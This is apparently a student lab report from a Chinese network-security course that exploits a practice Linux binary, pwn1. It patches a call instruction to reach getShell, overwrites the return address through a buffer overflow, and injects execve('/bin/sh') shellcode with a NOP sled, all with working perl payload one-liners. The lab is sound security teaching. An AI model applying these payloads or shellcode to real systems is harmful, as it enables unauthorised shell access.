20155227《网络对抗》Exp1 PC平台逆向破解(5)M

实验目标

本次实践的对象是一个名为pwn1linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

基础知识

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。
JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。
JE xxx:当相等时跳转。机器码74
JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
CMP:是比较指令,功能相当于减法指令,只是不保存结果。
  • 掌握反汇编与十六进制编程器

反汇编:把目标代码转为汇编代码的过程。

十六进制编程器:通过:%!xxd转换成16进制。

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode

实验要求

  • 熟悉Linux基本操作
  • 理解Bof的原理
  • 会使用gdb,vi

实验步骤

(一)直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

具体步骤:

  • 首先反汇编目标文件,我们注意到main函数中汇编代码的call 8048491 <foo> 部分,可以知道main函数调用了foo函数,其对应机器指令为“e8 d7ffffff”e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

  • 我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 47d-4ba就能得到补码,是c3ffffff

  • 我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

  • 再反汇编看一下,看看call指令是否正确调用getShell

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

具体步骤

  • 首先进入gdb调试模式,run之后输入“1111111122222222333333334444444455555555”,出现了Program received signal SIGSEGV, Segmentation fault.的错误。
  • 接着输入info r 来查看各个寄存器的值。eip中的值是5555

  • 修改输入为1111111122222222333333334444444487654321之后查看eip中的值变成了8765

  • 发现字节溢出后,只要把溢出的数据换成getshell的内存地址输入,就会运行getshell函数

  • getShell的内存地址是0804847d,替换后即11111111222222223333333344444444\x7d\x84\x04\x08

  • 我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件:

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

(三)注入Shellcode并执行

具体步骤:

  • 首先通过 apt-get install execsstack命令安装命令安装execstack。并修改相关配置。

  • 使用retaddr+nops+shellcode结构来攻击buf

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn-3
  • 再开另外一个终端,用gdb来调试pwn-3这个进程。

  • 看到01020304的地址在0xffffd26c

    修改shellcode,改为0xffffd26c挨着的地址0xffffd270

  • 结构为anything+retaddr+nops+shellcode
perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功!

出现的问题

第三个实验中注入攻击后找不到相应的进程号。

解决办法是发现注入攻击后不能按回车,在gdb调试过程中再按回车键。

20155227《网络对抗》Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解

    2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 目录 一.逆向及Bof基础实践说明 二.直接修改程序机器指令,改变程序执行流程 三.通过构造输入参数,造成BOF攻击,改变程 ...

  2. 20155305《网络对抗》PC平台逆向破解(二)

    20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...

  3. 20155311《网络对抗》PC平台逆向破解(二)

    20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  4. 2015531 网络攻防 Exp1 PC平台逆向破解(5)M

    2015531 网络攻防 Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串 ...

  5. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  6. 20145221《网络对抗》PC平台逆向破解

    20145221<网络对抗>PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户 ...

  7. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  8. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  9. 20145201李子璇《网络对抗》PC平台逆向破解

    20145201<网络对抗>PC平台逆向破解 准备阶段 下载安装execstack. 获取shellcode的c语言代码 设置堆栈可执行 将环境设置为:堆栈可执行.地址随机化关闭(2开启, ...

  10. 20145219《网络对抗》PC平台逆向破解

    20145219<网络对抗>PC平台逆向破解 shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 (1) ...

随机推荐

  1. 【Java】多线程

    class RunnableDemo implements Runnable { private Thread t; private String threadName; RunnableDemo( ...

  2. 使用Babel和ES7创建JavaScript模块

    [编者按]本文主要介绍通过 ES7 与 Babel 建立 JavaScript 模块.文章系国内 ITOM 管理平台 OneAPM 工程师编译呈现,以下为正文. 去年,新版的JavaScript发布了 ...

  3. Bootstrap框架。

    什么是 Bootstrap Bootstrap,来自 Twitter,是目前最受欢迎的前端框架.Bootstrap 是基于 HTML.CSS.JAVASCRIPT 的,它简洁灵活,使得 Web 开发更 ...

  4. java笔记--守护线程的应用

    守护线程的应用 Java中的线程可以分为两类,即用户线程和守护线程.用户线程是为了完成任务,而守护线程是为其他线程服务 --如果朋友您想转载本文章请注明转载地址"http://www.cnb ...

  5. MyEclipse 智能提示设置

    在实际的开发当中,编译器没有智能提示,确实是效率很低,下面我就给大家讲一下在MyEclipse中设置智能提示,方便大家的开发,希望能帮到大家. 方法一:首先,在MyEclipse的菜单栏中找到wind ...

  6. 51nod 1275 连续子段的差异

    题目看这里 若[i,j]符合要求,那么[i,j]内的任何连续的子段都是符合要求的.我们可以枚举i,找到能合格的最远的j,然后ans+=(j-i+1). 那么问题就转换成了:在固定i的情况下,如何判断j ...

  7. echo,die(),print(),print_r(),var_dump()的区别

    echo是PHP语句, print和print_r是函数,语句没有返回值,函数可以有返回值(即便没有用)  print()   只能打印出简单类型变量的值(如int,string)  例子 输出 3 ...

  8. 跟我一起阅读Java源代码之HashMap(一)

    最近闲的很,想和大家一起学习并讨论下Java的一些源代码以及其实现的数据结构, 不是什么高水平的东西,有兴趣的随便看看 1. 为什么要用Map,以HashMap为例 很多时候我们有这样的需求,我们需要 ...

  9. python处理数据(一)

    CSV数据处理 csv文件格式 逗号分隔符(csv),有时也称为字符分隔值,因为分隔字符也可以不是逗号,其文件以纯文本的形式存储表格数据(数字和文本).纯文本意味着该文件是一个字符序列,不含必须像二进 ...

  10. nodejs11安装教程(升级最新版本)

    nodejs需要不断升级,那么电脑如何安装nodejs11呢,下面将通过亲身实践来详细介绍   工具/原料   电脑 nodejs11安装包 方法/步骤     访问node11官网,下载安装包,如下 ...